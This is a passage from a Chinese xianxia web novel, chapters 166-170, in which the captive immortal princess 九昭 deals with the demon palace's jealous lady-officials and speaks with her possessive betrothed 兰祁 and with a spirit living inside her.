她只是无所谓地“嗯”了一声,敷衍道:“‘连理’听起来,倒是比‘徽仪’来得更恩爱缠绵些。” 女婢还想再多说几句,见她转过头看向窗外, 眉目又露出熟悉的晃神情态, 便识趣地住嘴。 “仙子, 您的发饰奴婢皆已拆下,若无其它事, 奴婢先告退了。” 她半蹲行完礼, 为九昭关上门扉。 殿宇中自修建时已然存在的屏声结界登时开启,将门内门外隔绝成两个世界。 九昭坐了片刻, 无所事事地扫视四方, 又从不同的家具陈设上, 发现了诸多常曦殿的痕迹。 三清天喜好富丽堂皇, 焚业海则多用浓沉色调。 忽略这两处最大的差异, 宫殿的布置竟然做到了与她旧时的住处九成相似。 这下, 九昭更断定,“连理殿”一名,是兰祁为了刺激自己刻意改的。 只是方才女婢的话道破一个真相——他并非近期修改,而是初登基时便已为之。 兰祁是如何料定她总有一日会到焚业海来的? 若并非为了迎候她的到来,他作此举又有什么目的? 九昭正想着,一只大手却自后探出,捂住她的嘴唇。 与此同时,极轻的男声在她耳边响起:“昭娘别怕,是我。” “你怎么会在这里?” 这是月余以来,九昭对他说的第一句话。 掌心与唇瓣相触的温度,是那样的柔软美好。 祝晏的头脑下意识涌现出无尽的贪恋,他却不敢过多停留,克制地将手收回,转而落在九昭的肩膀。 微微用力,纤瘦的身躯便毫无抵抗地随着动作转了过来。 两人面对面相视,望着九昭剔透无波的瞳孔,祝晏顿了顿,方道:“尊上初回焚业海,传召三十二城主分别入书房议事,驻守城主为先,我等随行之臣在后,时辰尚早,所以我想来见你一面。” 见她一面? 不正儿八经上秉给兰祁,等待他应允。 而是施展法术隐身,偷偷溜进后宫? 心绪辗转几个来回,九昭轻挑眼梢,在祝晏眼巴巴的注视下,用手抵住他胸膛。 不轻不重一推,逐客的意味不言而喻。 祝晏倏忽明白,几息前她不客气的询问,已经消耗完为数不多的耐心。 贪恋有多少,转化成为的苦涩多少。 他握住九昭抗拒自己的手掌,再三忍耐,方按捺下垂脸紧贴的冲动,语气万分可怜地说道:“昭娘,别推开我……我来,不只是想见你,寂无宫中的一些要紧事,我也得提醒你,你听完,我再走,好不好?” 生怕再被推搡一次,他不复黏黏糊糊的拉扯,迅速径自把话接了下去,“这些年,后位妃位皆空悬,各部铆足了劲想进献女儿姐妹,尊上虽然一个都不曾接纳,但碍于情面,也架不住有些人一求再求,挑选了几位身份格外尊贵的女子充作女官—— “在焚业海,女官被视为后妃预备役,她们苦等多年,只为一朝登上枝头成为凤凰,如今冷不丁来了个你成为寂无宫的另一半主人,她们心底不知要多介意。 “昭娘,那些女官身后有大部族撑腰,格外有恃无恐,你如今身体孱弱,难以自保,千万要小心她们。” 不能直接伤害性命,那么能使出的,无非是些孤立、排挤、奚落的把戏。 九昭在贵为神姬时,早已将这些手段用得出神入化。 对于青年的提醒,她未曾生出半分避忌。 反倒对魔族女子的心性多了几分好奇。 祝晏絮絮许久,将那几位身在后宫的女官名字、身份、背景一一告知,说得口干舌燥,却见九昭仅是单手托着下颌,折起眼尾,斜斜乜着他,配上漫不经心弯起的唇角,仿佛在问:“这些又与你何干?” 情绪上的冷漠,远比加诸肉/体的暴力更令人难捱。 祝晏眼神发黯,身形自脚步开始隐去:“那,我就先回去了……” 他虽如此说,到底留有一丝期待。 哪怕九昭能多施舍个余光,也算他来这一趟不是惨淡收场。 然而,希望终是落空。 九昭把头转了过去,仿佛绣在幔帐上的一只翠绿蜻蜓,都较他来得有意思。 …… 都说好事不灵坏事灵。 祝晏提醒小心的午后,女婢们就禀告掌管后宫事务的女官,前来拜见未来尊后。 九昭有些讶异这一日竟然来得这么早。 毕竟唯有全然确定敌人不受重视,欺凌才会随之到来。 眼下她初到寂无宫,即将嫁给兰祁的消息人尽皆知,风口浪尖就来挑衅,着实不够明智。 除非—— 九昭清楚自己没有拒绝的余地。 对方秉承正当名义,自己畏畏缩缩不见,容易叫人看轻。 未至正殿,九昭在寝床前宣召了她们。 殿门打开,鬓影香风先到,将室内的阴暗昏沉冲淡不少。 鼻子是鼻子。 眼睛是眼睛。 粗略打量过五位来者,九昭发觉和三清天的神仙也没什么两样。 捱了三千年雷罚,灵台受损,她的记性时常不好,祝晏说的话转头忘了个大概——只记得其中有位爱穿红衣,性格也与过去的她有些相似,高傲娇蛮,名字唤作琼星。 垂眸望去,烈烈红裙翩动于女官之首。 身后两方,依次是黄裙、紫裙、粉裙、绿裙。 “臣琼星,拜见未来尊后。” 红裙跪了下去。 鲜花一般的美人们转眼跪了满地。 九昭欲叫她们平身,许是来路颠簸,头脑倏忽有些晕沉。 伸到半截的手陡然收了回去,摁住两侧太阳穴揉按许久,方有所缓解。 “起来吧,距离大婚尚有一个多月,其实各位不必着急。” 待她道出这句,女官们跪在地上半炷香有余。 她们并不清楚九昭的羸弱,只将此当做一场下马威。 性格火爆的琼星再抬起头,两眼几欲喷火:“以后要相处的日子还长,且后宫的事务一直都是臣等掌管,尊后有什么需要也得吩咐我们,所以还是早些见面得来,以免尊后娘娘认不清我们的名字。” “噢。” 九昭轻描淡写点了点头,“原来兰祁已经打定主意,叫我做个名义上的尊后了,是吗?” 女官之中,无人回应。 兰祁当然不会把话说得如此直白。 但是通过书房议事,他已告知极力反对迎娶九昭的王公大臣们,婚事只为攫取她体内的真血之力。 说得更难听些,不过一工具而已。 难不成尊上还能将整个后宫交给她,把自己手中的权力也与她共享? 为此,得到家族传来的消息,自诩揣摩透上意的女官,才会迫不及待来宣誓主权。 她们不答话,神容间透着遮都遮不住的看轻。 九昭也不着恼,反而抚掌笑起来:“甚好,只需躺着受人侍奉,不用劳神费心,觉得无趣了还能唤你们这些美人前来作伴——这神仙一般的日子,就是兰祁把业尊的位置让给我坐,我也不愿意同他交换!” “你、你怎么直呼尊上的名讳!” 九昭的话被人理解为看不起自己。 后方的女官们开始窃窃私语,琼星更是跳将起来,指着她的名字怒道,“尊上早已同我们解释过了,同你成婚只是为了你体内的凤凰真血,等你失去利用价值,便是连我们也不如,你少得意!” “琼星姐姐,你别说了……” 位于身后右侧的紫衣女官拉了拉她的衣袖,假惺惺道,“再怎么样,现在尊后的位置至少还是她坐——” 在场之人,除了九昭,谁都知道,当初琼星的家族三请四叩了无数次,就是想让女儿当上尊后。 她们的家世没法和琼星相比。 但尊后的名位确定,多少也能捞个高位嫔妃当当。 兰祁将她们充作女官,顶着个未来妃后的名义,一晾就是数千年,她们如何能不怨。 琼星这一通指摘,道出了她们的心声。 为了不得罪兰祁,索性用激将法,刺激她代替自己出气。 琼星越说越起劲,特别是从进来起,九昭就垂着头不与她们相视的模样—— 益发使她认为九昭被自己戳中了痛处,心虚不敢回嘴。 她酣畅淋漓地宣泄完毕,还煞有其事拂了两下裙摆,好似将九昭看作裙摆上不存在的微小尘埃。 “说完了吗?” 为表尊重,九昭调整一番要睡不睡的姿态,朝她勾勾手指,“说完了你且过来。” “?” 琼星面上立刻显出如临大敌的表情。 怎么? 说不过她,打算动手吗? 她可不是吃素的,必得反抗才行! 横竖尊上也不是真的倾心眼前这个女人,有她的家族在,料来不会受到重刑。 想清楚,有了底气。 琼心收起警惕,双手刻意交叠在小腹前,准备随时祭出武器。 谁承想,堪堪靠近九昭身侧,她垂在裙边的左手就陷入了一方软玉温香中。 “把不满都发泄出来,心情有没有好一些? “兰祁也真是的,放着这么多如花似玉的美人在后宫,也不好好怜惜。 “你这手上的茧子,是每日当差太累了,磨出来的吧? “真不忍心。 “我倒是懂得一张方子,等会儿写下来,你拿去炼成霜膏,敷在茧子处肌肤不出半月就能恢复细腻。” …… “……?” 琼星额头缓缓浮现出透明的问号。 一切,似乎跟她想象的不一样。 她试图抽出自己的手,不知是不是九昭的肌肤透着焚业海稀少的温暖,第一下竟没抽动。 九昭又冲她和煦一笑:“以后若还觉得压抑,来我这里便是。” 尽管琼星很明白,彼此之间互为情敌。 可对上九昭美到极点的容貌,听见她柔声细语的话音,鼻尖还萦绕着股浅淡好闻的玫瑰香气。 某些昔日兰祁面对她的示好,所摆出的冷脸和漠视无声浮现。 …… 不知不觉中,她脸红了。 167| 第167章 ◎“为夫君宽衣解带,不会吗?”◎ 殿门处于敞开状态, 结界未曾启动。 九昭和几位女官的对话,便清晰地传出殿外。 檐廊投落的阴影深处,风轻轻拨动兰祁的冠服下摆。 他刻意收敛起魔息, 除却周遭战战兢兢俯首, 大气不敢出的宫侍们,谁都没有发现他的王驾到临。 兰祁清隽的面容看不出一丝喜怒。 但哪怕迟钝懵懂如三岁幼童者,也能感受到他此时此刻的真切心情—— “你倒是脾气好,性格逆来顺受的像个面团, 和外界的传闻一点儿都不像。 “我们焚业海的女子,就算再如何尊卑有序,心底总有份骄傲存在的。 “……莫非尊上看中你的便是这点?” “尊上的心思, 从不说与我知,我也不清楚,但若我是男人,肯定喜欢琼星你这般明媚亮烈的个性。” “你的嘴巴倒挺甜, 不过, 我奉劝你一句, 做工具就要有做工具的觉悟,别对尊上太用心—— “我听说你们曾经是青梅竹马对不对? “可有过那方面的交流?” “嗯?你说的是哪方面?” “哎呀, 就是那方面——尊上做了焚业海之主几千年, 清心寡欲到寝殿连个母老鼠都没有。现在好不容易说要迎娶你为尊后,我们还以为是什么年少情意, 念念不忘之类的缘由。 “结果他说是为了你体内的凤凰真血助他进阶! “他的心肠就这么冷, 对男女之事就这般无动于衷么! “如今很多人私下在揣测, 不喜女子, 难道尊上有什么龙阳之癖?” “唔……” “你支支吾吾什么, 快说呀!不会真的被我们猜对了吧?” …… 里头的确没打起来, 气氛也比兰祁想象中来得好。 只是再和睦融洽,他也不愿贡献出自己,做这些嚼舌女人背后的谈资! 琼星的问题越来越不堪入耳之时,兰祁肃着脸走了进去。 他一把扯住倚靠在琼星身边,没骨头似地听她讲故事的九昭,而后头也不转地命令道:“你们都退下。” “尊上!” 视线撞进青年面容,琼星惊喜地睁大双眼。 仙魔两族你来我往,交战三千年,兰祁事必躬亲,回回冲在最前头,更把处理政务的地点搬到了前线的军帐中,天晓得她上次见到他是什么时候。 她理了理裙摆站起身,行完礼后想去挽兰祁的手,却被他侧转的冰寒眼神吓得够呛。 “还愣着干什么,没听见孤的命令吗?” “琼星姐姐……” 这回,拉扯琼星袖口的紫裙女官,语气中没了煽风点火的隐意。 兰祁倘若真的动怒,她们可吃罪不起。 琼星一人受罚也罢了,她不会看眼色,再梗着脖颈直愣愣地不肯走—— 受牵连的可便是她们了! “横竖尊上已经回了寂无宫,以后总有机会相见的,眼下我们快告退吧,别打扰尊上和尊后相处!” 紫裙女官的话连珠炮似的一口气吐出,声量不大不小,借此向兰祁表明自己的识趣。 言罢,她不顾琼星挣扎着还有话要说,就和另一位绿裙女官一起,连拖带搂将琼星带了出去。 大门掩落,连理殿终于安静。 兰祁并不松开手,他攥着九昭的腕子,向右推开暗置的侧门,两人疾行在四壁无隙的廊道里。 他的力气很大,手掌又生得瘦削,皮肉很少,骨节分明。 九昭被抓得有些痛,落在他身后问道:“去干什么?” 兰祁冷言冷语:“你们的对话,孤都听到了,你不是认为做尊后只需躺着享福,什么都不用干吗?孤现在就告诉你,大错特错——孤打算沐浴,你便跟进来,贴身伺候,尽一尽为人妻的本分。” 说侍奉沐浴,并非真的有心如此。兰祁承认自己这几句话带有赌气的意味。他故意回头看向九昭,想从她的脸上瞧见堂堂神姬沦为侍候者的屈辱,好趁机除了自身方才被众女揶揄的屈辱。 他注视了几息,九昭却没有任何表情。 不仅如此,还加快了脚步,用行动证明内心的顺应。 “……” 一时之间,兰祁也有些沉默。 他是在女官出发前往连理殿的半路上得知消息的。 这五位家世背景大致相等,气性又高的女子,是他当初精心挑选出来的。她们都想坐上尊后的位置,谁也不服气谁,进入后宫便忙着明争暗斗,千百年下来,不仅没工夫来打扰他,倒替他省下了许多事。 可九昭的出现,就不一样了。 四处乱射的箭,一旦拥有共同面对的靶。 再不团结,也会团结起来,锋刃向外,一致迎敌。 不提被囚禁在无日渊的三千年,九昭基本没吃过什么苦。 她的性子强硬,不懂人心的筹谋算计。 在焚业海,力量不足以庇身,骨头还硬,吃的亏只会更多。 况且,兰祁也清楚知道,为了让那些城主放下顾虑,不再坚决反对,自己是如何解释成婚的理由的。 消息只要不流传到寂无宫外去,仅是说给在□□的女儿姊妹们知,他从来都是睁一只眼闭一只眼。 所以,才会格外担心九昭有没有被欺负。 有这层忧虑存在,兰祁议事议了一半,彻底没了心思。 接下去的半场,他匆匆结束,连行路也顾不得,开启传送阵来到后宫。 结果却是这样。 没有被刁难,没有见证下马威。 连理殿内常常响起的欢声笑语,比那些女官面对他时展露的还要多。 他们两个的关系,似乎又回到了过去在三清天的时候。 九昭外有一众谄媚讨好,心怀鬼胎的跟班,内则有瀛罗潮华等借着性别相同,企图暗度陈仓的恶徒。 他疲于应对,防不胜防。 兰祁的念头在脑海千回百转。 脚步停在沐浴所用的清波殿前,他再度阴晴不定地侧首回望。 九昭不似兰祁腿长脚长,他走得飞快,她须得跟着小跑。 她单手撑着膝盖,正半弯着腰肢喘气,除此之外,依旧无任何诸如担忧、畏惧、隐忍的情绪。 在无日渊关了几千年,人便可以脱胎换骨,变成这样万事不着意的性子吗? 联想到那个九昭化身泼皮无赖的军营之夜,兰祁隐约体会到些许怪异。 他将九昭拉进清波殿,照旧命两侧宫人退下。 浴池的热水是现成的,引雪顶积年不冻的温泉淌落,纵使外界寒霜彻骨,此间仍然四季如春。 温泉的性质特殊,仅能供给一处。 爱洁厌寒的兰祁当初思虑再三,选择留给空置良久的连理殿。 砰! 他不曾对人说起过自己的隐晦心思,单从关得震天响的殿门,宫婢们只觉他对九昭的无情又多一分。 …… 白烟袅袅中,他面朝九昭,缓缓张开双臂。 如山的颀长身量,将受磋磨长久,曲线纤细消瘦的九昭彻底笼罩: “愣着干什么? “为夫君宽衣解带,不会吗?” 168| 第168章 ◎“你不恨我吗?”◎ 兰祁的吩咐一出, 九昭却是站着没动。 她抱起双臂,站在与他相峙的对面,目光自下而上, 落在他的脸庞。 眼梢微微挑起, 并非俯视,仍有睥睨之感。 一瞬间,像是那个天不怕地不怕的神姬殿下又回来了。 君主下达的命令被无视,本该问责不敬之罪。 望着九昭与所有焚业海的臣民不同, 半分谄媚讨好都无的神情,兰祁却生不起来气。 他的心中甚至迅速闪过一缕,自己也说不清楚来源于何的怀念。 是啊。 她可是神姬。 被关在无日渊, 受罚三千年,她也是神姬。 怎么可能会纡尊降贵做这些伺候人的活计? 用一个不算理由的理由,兰祁轻易原谅了九昭的不顺。 他嘴唇抿了抿,正欲说些其他跳过话题—— 那半仰着头, 定格许久的人影反而动了。 先是一阵馥郁玫瑰混合着清苦药草的气息传来, 紧接着, 两只柔弱无骨的手抚上腰间。 兰祁的眸光颤抖一瞬,带着丝不可置信望向身体被触碰的位置——见那双手时而出现, 时而隐没进衣衫, 慢悠悠地替他取下悬挂的玉佩、后腰处防身的短匕,以及修身束体的玉带。 所有的一切, 都好似只会在梦里出现。 成魔后, 兰祁最欢喜的, 便是拥有了肆无忌惮做梦的权力。 不必再担忧是未来的某种不祥征兆, 也无须再忧虑过深的执念会演变为惑乱的心魔。 他曾梦到过无数有关九昭的场景。 有时, 是他拔剑贯穿九昭胸口。 有时, 是九昭用打神鞭将他绞得人头落地。 但万中无一的时候,他也会如此刻这般,与九昭做对寻常夫妻,耳鬓厮磨,琴瑟和鸣。 …… 不敢置信褪去,取而代之的,是瞳孔边缘扩散开来的恍惚。 他垂在身侧的右手缓缓抬起,寻找着九昭指尖的位置,想通过肢体交握来抵消这种不真实感。 下一息,后腰传来的刺痛,令他如愿回归现实。 “抱歉,是不是弄疼你了? “我看不到后面,只能凭感觉来做,所以才会不小心戳到。” 九昭指甲戳中的地方,正是兰祁在攻克南陵,对战南神王时留下的旧伤。 南神王会医术,用毒亦是个中好手。 兰祁受伤之处极难愈合,反反复复溃烂。 好容易拔除毒性,新生的皮肤却较其他来得怕疼敏感。 低低的嘶声过后,九昭耳畔传来青年意味不明的嘲讽:“笨手笨脚的,看来真真是个享福的命。先是扶胥,后是祝晏,满打满算,你在一起过的人也不少——怎么,你从来都没有为他们做过这些吗?” “我为君,他们为臣,以君侍臣,自然是没做过的。” 九昭的回答公事公办,不具任何感情成分,未等兰祁做出反应,她再度补充道,“不过我们马上就要成婚了,和在三清天时不同,以后我会认真学习,学习如何去成为一位令夫君感到满意的妻子。” 清波殿内热意滚滚,水汽濡湿了两人的衣衫。 本该暧昧萦绕,撩动情丝的时刻,源于九昭身上的怪异,反而更浓重了。 走到今日,历经过无数阴谋算计,匍匐在兰祁心底的警惕之弦顿时绷紧。 一朝被蛇咬,十年怕井绳。 人是由无数段真实的遭遇构成的。 那些遭遇如同一个个烙印,早已与血肉融为一体。 纵使决定放下爱恨重新开始,能控制情绪对昔日仇敌露出微笑,但相触时身体本能的抗拒无法掩盖。 他抛弃过九昭一次。 利用了九昭两次。 更是欺骗过她无数次。 她如何得以做到如此坦然,竟至憧憬向往着即将与他共同度过的以后。 眼前的女子,还是他所认识的那个青梅竹马吗? 像是名为九昭的躯壳内填入了新的灵魂,像是所有与他相关的难堪记忆,从脑海中被尽数挖去。 真的全部看开了吗? 还是试图以“看开”为理由,隐藏自身目的,更借助表面的云淡风轻,来降低他的防备心? 九昭道完歉,又自然而然继续手头的工作。 她垂落脖颈,凑近兰祁肋骨的位置,与结口繁复的衣带较起劲。 她漆黑的发旋暴露在兰祁视野,顺着中央深入一寸,便是仙族的灵台。 核桃大小,内里却蕴含着无穷繁力量和奥秘。 想要清楚九昭的所思所想,最简单的办法就是侵入灵台,查看她的记忆。 只不过照料九昭伤势的魔医说过,她如今的体质仙不成仙,魔不是魔。稍有不慎气血交逆,极有可能脉络崩溃,再也无法恢复过往实力,彻底变成废人。 可,变成废人又如何? 他已经否决了无咎干脆亲手杀死九昭,掠夺凤凰真血的提议。 他想留她在身边。 安稳、顺遂、平静地过下去。 就像人会为自己豢养的鸟儿剪去飞羽,好借此杜绝哪日牢笼未关,一去不回的风险。 九昭藏匿起来的目的,他朝重新流淌的仙力,皆会成为不安定的因素。 不如—— 沉吟中,兰祁半曲的手指,却从准备施法的前兆,无声恢复原样。 或许是他们之间,已将近万年不曾有过如此和睦融洽的时候。 触碰过花朵柔软的蕊瓣,就不愿再见她亮起尖刺,以剧毒的荆棘相迎。 …… 而半伏在兰祁胸前的九昭依旧无知无觉。 浑然不清楚方才他的脑内产生了何等晦暗的念头。 她终于结束了同衣带的纠缠,将宽大华丽的外袍自兰祁的肩膀脱下。 鹤羽织绣的纹路滑过指腹,带来厚实温暖的触感。 九昭又将手放在放在他的中衣前襟上,轻声说道:“天色尚早,应当不到驾幸后宫的时辰,尊上方才收敛气息躲在门外偷听,是担心我和那些女官起冲突不是?尊上放心,如今天地间已无九昭的容身之地,我也不会去肖想成为尊后与你同享至高权力,我什么都不奢求,只愿远离斗争,安定地生活下去。” 或者死了也可以。 最后几个字徘徊在齿关,没有被说出口。 九昭忽见一只大手盖住她的手背,而后收力抓紧。 “你不恨我吗?” 兰祁幽幽问道。 九昭无言良久。 在手背承受的压力越来越重时,她犹豫着,说起被仙族定为弑父之罪的往事。 从杏杳作为内应被发现,到她遭受天谴反噬,临终前吐露一部分秘密。 从为解烛龙之毒决定以命替命,到意欲带着了然去死,不料在父神识海发现当年真相。 “我那时万念俱灰,因而将罪责全部揽在身上,只求速死。可仙魔战争危急,时时刻刻都有新的情况,引雷罚处死神仙,又需要金仙以上位阶到场观看,以起到遵守天令,不乱矩逾规的震慑作用。 “最终他们决定将我关入无日渊,等到战局平衡,再把我放出施刑。 “后续的情况,你也知晓了。 “仙族节节败退,以至于无暇管我,我浑浑噩噩度过三千年,直到你将我救出。” 杏杳死后,焚业海便失去了在三清天的耳目。 兰祁不曾想到,弑父罪名背后的事实竟是如此——纵使叙述的语气轻描淡写,但他十分明白,九昭于过程中受到的煎熬苦楚,并不逊色于他在巫劭帮助下,通过装睡得知养子真相的当年。 ……不。 岂止是不逊色。 简直有过之而无不及。 “你大概会觉得,如今的我表现出来的态度很不可思议吧? “被关在无日渊的日日夜夜,我没有一刻不在思考自己究竟应该去恨谁——结果我发现,莫说你们,就连同我有着血缘关系的至亲都在利用我,间接造就了我人生的悲剧。 “父神将你当成承载凤凰真血的容器,所以你选择倒戈魔族。 “仙魔大战中,他杀死了祝晏的母亲,崇黎的爱妻,所以九尾狐族再次背叛了他。 “这一切冤冤相报,循环无尽,只要心中有恨,就永远没有结束的那天。 “我已经累了,也倦了,只想赶紧死在雷罚下。 “快灰飞烟灭的时候,你又派无咎救了我。 “既然天不叫我死,我也不想再去担负所谓的道德责任。” 自打被解救出来,九昭鲜少有话多的时刻。 眼下,仿佛洪水寻到泄闸的出口,她说一句,稍歇几息,无需兰祁对话,竟自顾自说了许多。 兰祁的态度,在逐渐放松的掌心力道里可见一斑。 他始终沉默着。 覆在九昭手背上的手,却从铁锁一般的强硬,化作衾被似的安抚。 于是,九昭冲他笑了笑:“兰祁哥哥,还是挺多谢你的。 “成婚为了什么,一早便告诉我了,没叫我再像个傻子一样被蒙在鼓里。 “过去,我总说我最讨厌欺骗利用,现如今,倒觉得利用若能正大光明的提前告知,也算是还行。 “你看,我是不是没了曾经当神姬时的眼里揉不得沙和娇气?” 九昭还在笑着。 那些充斥着无数潦倒唏嘘的言语—— 轻飘飘的,又好似有千钧之力。 重重压在兰祁心口,重到他呼吸发涩,喉头涌上酸楚。 他想捂住九昭的嘴,叫她不要再说了。 九昭却又扬起面孔,用很亮很透,一如他们初遇时分的眼神,冲他发出请求:“如若可以,待你能随意调用我体内的真血之力后,可否不将我拘在这后宫中,能让我自由地出去看看山川海崖、疆域领土。” 169| 第169章 ◎“她是离开他就会活不下去的雀鸟。”◎ 到最后, 兰祁都没说好或者不好。 他只叫九昭回去,结束了这场美其名曰“妻子侍奉夫君”的闹剧。 没得到理想的答案,九昭也不觉得失望。 纵使只要结契交//合, 完成肉/身与神魂的共融, 此后不管相隔多远,都能随意调动真血之力,但放她离开自身视线范围,游涉在外, 到底是个不安全的因素——万一她亡故,血脉就会随机在凤凰身上觉醒。 依照兰祁的个性,会无条件答应才显得奇怪。 九昭趿拉着脚步, 慢悠悠回到寝殿。 经历一番清波殿内的拉扯纠缠,焚业海已至夜晚。 魔族的地界没有太阳,向来白昼很短,夜晚很长。 此时堪堪申时中刻, 九昭用木架支起格窗, 一轮硕大的圆月高悬夜空。 它是祖神投射的幻象, 与真实存在于三清天的月亮有着明显差异。 边缘发毛,在层层暗云的簇拥下, 透着阴森冷意。 九昭目不转睛地望着它。 那种隐忍而凄凉的神色一点一点自眼角眉梢褪去, 唇瓣回归半抿着的平线。 她变得面无表情。 寒风在檐廊立柱间穿梭疾行,如趋食的雀鸟般一股脑涌进温暖殿宇。 九昭情不自禁打了个冷战。 一颗脖颈细长的脑袋自她身后蜿蜒向前, 徐声说道:“真可惜, 我不能拥抱着你, 为你取暖。” 话虽说得充满怜惜, 神情却并非如此。 余光跃进巫逐优哉游哉的面孔, 九昭不与他搭话, 坐下来替自己倒了杯在悬空魔火上烹着的清茶。 “幸亏兰祁读不出你的心声,否则他就会知道你刚才的戏演得有多好。” 龙躯逐渐凝实,化作人躯,巫逐欲替她阖上窗扉,奈何触碰不到外界事物,只得作罢。 他扮出坐落姿态,隔着长案与九昭面对面,淡色的唇瓣勾起一缕轻笑。 九昭对他的揶揄不为所动,动作优雅地啜饮热茶,在灵台内答道:“没有演戏,全都是我的真心话。” “我寄居在你的大脑,你的心脏,你的血液骨骼中,我就是你—— “你对兰祁说的每一字每一句,都不曾发生任何感情波动。” “一定要有感情吗?” 九昭并不否认巫逐不留情面的揭露,她放下茶盏,用手撑住下巴左侧,闲谈似地继续说,“倘若有感情,我在同他和祝晏重逢的当场,就会克制不住,想要和他们同归于尽。” 活在充满谎言的世界里。 唯独和巫逐,或者说自己对话时,她方能做到直白坦诚。 巫逐伸出手,探向她松松拢着茶盏的指尖。 他刻意把控角度和姿势,佯装出手搭在九昭手背上轻柔抚摸的假象:“现在呢,你就不想了吗?” “不想。” 九昭干脆利索地阻断他的话,“这世间万千,与我何干?我只想什么都不用背负地活着—— “或者无牵无挂地死了也成。” 夜风仍在持续不断地钻进空旷殿宇,吹得魔火来回摇晃。 倒映在九昭的瞳孔深处,化作两簇兀自挣扎着,不肯就此熄灭的光亮。 巫逐不再言语。 忽而又发出一声,如月色般模糊不清的笑。 …… 仙力受损后,九昭对于外界的感知反倒敏锐不少。 她隐隐约约感觉到,兰祁因为自己的那番话而有所动容。 这份动容具体表现在,她不再受到十分严格的限制,可以随意在寂无宫中游走闲逛。 九昭花费五日,把能去的地方都逛了逛。 除去泥胎木偶般岿然不动的守卫,大多数的殿宇通常无人。 走马观花地看完陈设和风景,她深觉无聊,又吩咐宫人带路,前去女官们居住的地方。 只是不知为何,那些见到她仅仅规矩行礼,问一句答一句,不复初见时趾高气扬的旧样。 为首的琼星似乎仍有不服,九昭逗弄她两句,希冀在她脸上重新看到那种生动有趣的表情。 结果却是失望。 她们似乎得到了兰祁或是谁人的警告,要对九昭这位准尊后娘娘保持恭敬。 九昭后头又来了两回,琼星惹不起,索性避开她,以忙碌为由,不再与她相见。 …… 当肃穆的寂无宫失去最后一抹亮色,九昭失望之余,便把主意打到了出宫上。 第八日,她寻去兰祁起居的寝殿。 反被青年果断拒绝。 “焚业海不似三清天,哪怕在王都也时有危机发生,你这副身子骨,出去能干什么?” 兰祁很忙。 和三清天的最终之战迫在眉睫,为此他才会撤军回焚业海,准备与九昭的大婚事宜。 久久不在王都坐镇,更是积压了不少没那么重要的政务需要处理。 这些日子,他睁开双眼,不是打算诏臣子入书房,就是在前往正殿上朝的路上。 他回绝完九昭,并不停留,领着一行人浩浩荡荡离去。 九昭却远远坠在后方,待浑厚的号角声起,眼见他进入大殿开始早朝,方悄声从门柱后方绕出来,挑挑拣拣,选了处看起来光可鉴人的台阶,抱起膝盖坐了下去。 两侧,戍守的近卫们,如有实质的视线纷纷聚焦在她的身上。 从前九昭最讨厌人群目光一起投来的时刻。 那意味着她肯定又犯下了什么,在他们看来丢人,会引发议论的错误。 如今,心境不同。 她哼着歌,从怀里掏出个布包,捻起块外表粉润的荷花酥放进口中。 顶着尊后娘娘的身份,无人敢架起九昭的胳膊将她丢出去。 就这样坐了两个时辰,号角声再度响起。 朝臣们鱼跃而出,他们面对九昭的眼神则带有更多的恶意和异样。 能够清晰传出九昭耳朵的“窃窃私语”时不时响起: “她怎么会在这里?” “是在等尊上吗?” “居然就这般毫无顾忌地坐在墨玉阶上,像什么样子……” “听说,她还是仙族神姬的时候,就骄奢淫逸,多有恶名。” “难怪会做出弑父之举……” “咳咳!” 晚出来的祝晏,用咳嗽声打断众臣的恶议。 他来到九昭面前,行的是与面对兰祁等同的魔族大礼:“微臣,见过尊后娘娘。” 法不责众。 凭借九昭的尴尬身份,她听见了也只能装作没听见。 总不能人还没当上尊后,就与焚业海大半有权有势的重臣结仇。 那些发出议论的魔族,依仗的正式此等有所顾忌的心理。 可有祝晏作为出头鸟就不同了。 他屈身守分的问候,反衬出其他人的犯上不敬。 见状,他们只好停止交头接耳,依次上前来与九昭见礼。 …… 将魔族的大臣们轮流认了一遭,布包里的荷花酥见底。 她打了个小嗝,估摸时间兰祁也该来叫自己进殿,于是心满意足地眯着眼睛擦嘴。 片刻过去,未等来使臣的宣召,侧畔反倒坐落一个身影。 “尊后娘娘。 “都沦落到焚业海了,还有人不忘为你出头。” 殿门未关,显然坐在最高处的兰祁目睹了整个过程。 他仿佛在挖苦祝晏的“英雄救美”,语调却没什么情绪起伏。 “不是出头,是合该如此。” 九昭抖了抖布包,重新放回前襟,面朝他道,“我是你亲自选定的尊后,无论背后的原因是何,面上他们本该对我做出恭敬的样子,他们如此作为,不仅为了侮辱我,也是在试探你的态度。” 兰祁避而不答,只是反问:“你在为祝晏说话吗?” 没有话音传来,九昭清可见底的瞳孔一瞬不瞬地注视着他。 也对。 他为何要如此询问。 倒显得如同醋妒丈夫一般。 兰祁心底掠过罕见的窘迫,突兀沉默几息,复问:“你真的那么想出去?” 九昭郑重其事颔首:“你又不是不清楚你的后宫,大多是寡言少语闷头做事的人,上回那些来拜见我的女官倒有些意思,只是近来我去找了她们两回,她们总说要准备婚礼事宜抽不出空—— “总是困在屋子里,我都要闷坏了。 “焚业海毕竟是我此后要长久居住下去的地方,出去转转,熟悉下环境,总没问题吧?” 这一番言论,听起来合情合理。 兰祁回望着她,语带三分试探:“那你是想自己出去,还是和什么人一起?” “自然最好和你。” 九昭想也不想,脱口而出。 而迎接她的,又是一阵唯余风声的安静。 风声里,两人的目光对视着。 半晌,兰祁的嗓音低了下来。 他彻底偏转面孔,问道:“为何?” “若不跟在我身边,你也难以放心,不是吗?” 九昭就着他居高临下的打量,眨了眨眼睛,“更何况与我而言,前几日的对话已算是一场毫无保留的倾诉。我是仙族废弃的储君,又身处异族他乡,周围俱是恶意——成婚后无论你是否会宣告我‘病逝’,我想要好好活下去,所能做的,也唯有抓紧你、依靠你。” 唯有依靠他。 抓紧他。 那点似是而非的暧昧过后,九昭不掺杂情意的、对于局势极为清醒的回答,再度化为一只无形的手,徐徐拨动起兰祁的心弦。 他不相信承诺、誓言和短暂沉溺的爱语。 能牢牢抓在掌心的东西,方能令人绝对安心。 而今时今日,九昭失去了一切。 高贵的身份、天仙的尊荣、一声令下无数人为其前赴后继去死的权力。 她是,也仅是只被他锁在黄金笼中,婉转歌唱的雀鸟,离开他就会活不下去。 所以,她需要他,渴望他,又有什么问题? 远比身体//交//欢更为剧烈的快意蔓延开来,融入骨血,震颤着四肢。 兰祁及时移开视线,以免被九昭发现眼底病态的愉悦。 他解下御风的华丽玄衣,披在九昭的肩头。 再度侧首,仍是端方温文的君子模样:“好,等我两日,处理完政事,我自会陪你出宫。” 170| 第170章 ◎“变得很软、很软。”◎ 